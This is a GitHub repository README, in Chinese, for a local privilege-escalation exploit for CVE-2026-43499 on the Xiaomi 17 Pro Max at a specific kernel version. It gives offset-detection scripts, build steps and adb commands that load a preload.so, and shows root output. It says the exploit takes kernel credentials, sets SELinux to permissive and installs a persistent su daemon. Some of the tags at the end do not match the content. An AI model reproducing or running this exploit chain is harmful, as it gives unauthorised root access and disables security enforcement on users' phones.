x-spy/CVE-2026-43499-popsicle

GitHub: x-spy/CVE-2026-43499-popsicle

针对小米17 Pro Max设备特定内核版本的CVE-2026-43499漏洞提权利用工具,包含偏移检测、代码生成、交叉编译和完整提权利用链。

Stars: 144 | Forks: 39

# CVE-2026-43499 针对 `popsicle` 该仓库包含 `CVE-2026-43499` 针对小米 17 Pro Max `popsicle` 的利用,适用于内核版本号为 `6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k` 的设备(已在 `popsicle_images_OS3.0.313.0.WPBCNXM_16.0` 和 `popsicle_images_OS3.0.315.0.WPBCNXM_16.0` 版本上测试)。 ## `popsicle` 配置 ``` { "p0_phys_offset": "0x80000000", "p0_kernel_phys_load": "0xc7800000", "target_device_path": "/dev/uinput", "direct_root_cpu": 7 } ``` 前两个物理地址可以通过在已 Root 设备上读取 `/proc/iomem` 自动推导: ``` python3 detect_offset.py ``` 直接运行即可,脚本会自动通过 `adb shell su -c` 读取第一个可用设备的内存布局,并打印两个 profile 字段。 后两个字段可以运行以下脚本获取: ``` python3 detect_device.py ``` ## 生成 target 依赖 Python 3 和 `llvm-objdump`: ``` python3 generate_target.py \ --boot boot.img \ --profile profile.json \ -o source/src/target.h ``` ## 编译 ``` make -C source clean preload ``` 当 NDK 无法自动发现时: ``` NDK_ROOT=/path/to/android-ndk make -C source clean preload ``` 产物: ``` source/build/bin/preload.so ``` ## 运行 ``` adb push source/build/bin/preload.so /data/local/tmp/preload.so adb shell 'chmod 0644 /data/local/tmp/preload.so' adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true' adb shell '/data/local/tmp/su -c id' ``` 成功时会输出: ``` uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0 direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0 ``` 利用链获取 `init_cred` 后会将 SELinux 切换为 Permissive 模式,并重新加载当前 policy。随后安装 `/data/local/tmp/su` 和 adb mount namespace 中的 `su`,并启动当前开机周期内持续运行的 su daemon,重启后失效。 ## 限制 利用完成后,新启动的 App 进程无法完成 Framework 初始化而闪退。重启设备后即可恢复。
标签:Web报告查看器, 内核漏洞, 安卓提权, 客户端加密, 本地提权